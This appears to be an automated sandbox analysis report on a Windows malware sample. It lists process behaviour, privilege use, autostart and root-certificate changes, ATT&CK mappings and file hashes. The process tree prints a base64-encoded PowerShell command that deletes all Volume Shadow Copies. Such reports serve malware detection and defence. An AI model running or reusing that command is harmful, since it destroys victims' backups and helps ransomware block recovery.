5c0000000100000004000000001000000400000001000000100000008714ab83c4041bf193c750e2d721ebef03000000010000001400000030779e9315022e94856a3ff8bcf815b082f9aefd6800000001000000000000007e000000010000000800000000c0032f2df8d6017a000000010000000c000000300a06082b060105050703091d0000000100000010000000d895a1485825711bece16ab985d86da21400000001000000140000001d1c650ea8f2257bb491cfe4b1b1e6bd55746c050b000000010000001600000049007a0065006e00700065002e0063006f006d00000062000000010000002000000023804203ca45d8cde716b8c13bf3b448457fa06cc10250997fa01458317c41e553000000010000004600000030443020060a2b06010401f33906010130123010060a2b0601040182373c0101030200c03020060a2b06010401f33906010230123010060a2b0601040182373c0101030200c009000000010000005c000000305a06082b0601050507030206082b0601050507030306082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703087f0000000100000066000000306406082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030506082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f0000000100000014000000a16d1faa61f7277cd9abc31c9c893ed7b41efb19190000000100000010000000ee8d49b7586d213f273a2c1e1b11bffb2000000001000000f4050000308205f0308203d8a003020102020f06e846272f1f0a8fd1845ce369f6d5300d06092a864886f70d01010505003038310b300906035504061302455331143012060355040a0c0b495a454e504520532e412e3113301106035504030c0a497a656e70652e636f6d301e170d3037313231333133303832375a170d3337313231333038323732355a3038310b300906035504061302455331143012060355040a0c0b495a454e504520532e412e3113301106035504030c0a497a656e70652e636f6d30820222300d06092a864886f70d01010105000382020f003082020a0282020100c9d37aca0f1eaca786e816656ab1c21b45327195d9fe105bccafe7a579018f89c3caf25571f777be7794f372a42c44d89e929b143aa1e724900a0a568ec5d82694e1d948e12d3eda0a72dda39915da81a287f47b6e26778958add6eb0cb2417a736e6ddb7a7841e90888127e872e6611636c54fb3c9d72c0bc2effc2b7dd0d76e33ad7f7b468bea2f5e3816ec1466f5d8de04dc65455891a33310ab157b9a38a98c3ec3b34c59541697e75c23c20c561ba5147a0209093a1904bf34e7c8545549ad1052641b0b54d1d33bec403c8257cc170db3bf4092d542748ac2fe1c4ac3ec8cb924c53393723ecd301f9e009444d4d64c0e10d5a8722bcad1ba3fe26b515f3a7fc8419e9eca188b444698483f389d17406a9cc0bd6c2de27855026ca17b8c97a87562c1a011e6cbe13ad10acb524f53891a1d64bdaf1bbd2de47b5f1bc81f6596bcf1953e98d15cb4acba96f44e51b41cfe186a7cad06a9fbc4c8d06335aa285e59035a0625c164ef0e3a2fa031ab42c71b3582cde7b0bdb1a0febde211f06770603b0c9ef99fcc0b94f0b8628fed2b9eae3daa5c3476912e0dbf0f6198bed7b70d702d6ed8718282c04244c77e4488a1ac63b9ad40fcafa75d201405a8d79bf8bcf4bcfaa16c195e4ad4c8a3e1791d4b162e582e58004a4037e8dbfda7fa20f974f0cd30dfbd7d1e5727e1cc877ff5b9a0fb7ae0546e5f1a816ec47a4170203010001a381f63081f33081b00603551d110481a83081a5810f696e666f40697a656e70652e636f6da4819130818e31473045060355040a0c3e495a454e504520532e412e202d20434946204130313333373236302d524d6572632e5669746f7269612d4761737465697a205431303535204636322053383143304106035504090c3a417664612064656c204d65646974657272616e656f2045746f726269646561203134202d203031303130205669746f7269612d4761737465697a300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604141d1c650ea8f2257bb491cfe4b1b1e6bd55746c05300d06092a864886f70d01010505000382020100c781466f21184fa005efe7d5ba9750a260eda592141a529bf9f1884aa0dc7875d1d51f954ec5e7b769e622f4f829a82a89becfcf768fe331739d26d31c1b4716290768848ad2fbb11b243ed298182c248eaff67bea44161b2ac4faa097e9ea6c58a4ef75ab0062d19ded1336db220bb6f0d1f46e7b4687c29dbcbdbe423bb773d09a2a3cb45b121600af19398dad83501cc8814fbd020f3d9e3596eeefe4c2037c291c027ebd34275eaf53d69d17bf576ce9d08310afbf5d4def907b5d2bacecea7d002617cc025c63d71918a7ec2bc78a3e580e8a87e6839f4eb2341eac54094f1d020b397e810815b9a06913c8322be3ad6c13d6839d232db26da288867ea80d01260940d9ed284e8c93240fdbf11e4d7a7a5ae2a558f1dc8f5f99820c2ecfb2dd98cc92943ff909b3a596255b37f5128541e2194cc68a08c1dc187a0f1e3f8259a29a3e3ff9e0099ffdc1914b5dc97bd6b689fcdf1d7c86aacd03f20b5292f1626f7f87eaab76c96c50c21982afaa1df52028682ed5fc64374fcfa544c4be72b48c74b46ca7faf2bd7438432bdeaff9dcd8e09d9fdc3dcaa56344bf92a24f4c801cbb1ac39a4a04554dcaee260b1cbf02c564d39e7ed2d3911c4ba2f51ce5171c0d0c52a3911f9cf021ed02946fa9a049cae8438cc4f434da7c22a3c6663eb81b05885dbabcf7bce5dc143da786a8b6595221035e8be304ed4b2a1ea34f50 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exepowershell.exepid process 2020 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe 2020 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe 4896 powershell.exe 4896 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 2020 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe Token: SeDebugPrivilege 4896 powershell.exe Token: SeBackupPrivilege 5016 vssvc.exe Token: SeRestorePrivilege 5016 vssvc.exe Token: SeAuditPrivilege 5016 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exedescription pid process target process PID 2020 wrote to memory of 4896 2020 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe powershell.exe PID 2020 wrote to memory of 4896 2020 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe powershell.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe"C:\Users\Admin\AppData\Local\Temp\3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4896
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:4412
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5016
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
3Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
6KB
MD5fdce108918663bf86ead68f7d39acc50
SHA13c12485d0f79df7148bc992fc28b6077db25f556
SHA2564615b435651daa85630e7eac7ae70a53ebd2838860674b2abc2dd8ae0ebec52c
SHA5128ddcc37a9895e9daafc81898eb428d590d7a418b5ca189bce78def627ed6f5d98fe4c586695c3b468e7033deaf306f402b50317448c9809275e818b6642bd7c7
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82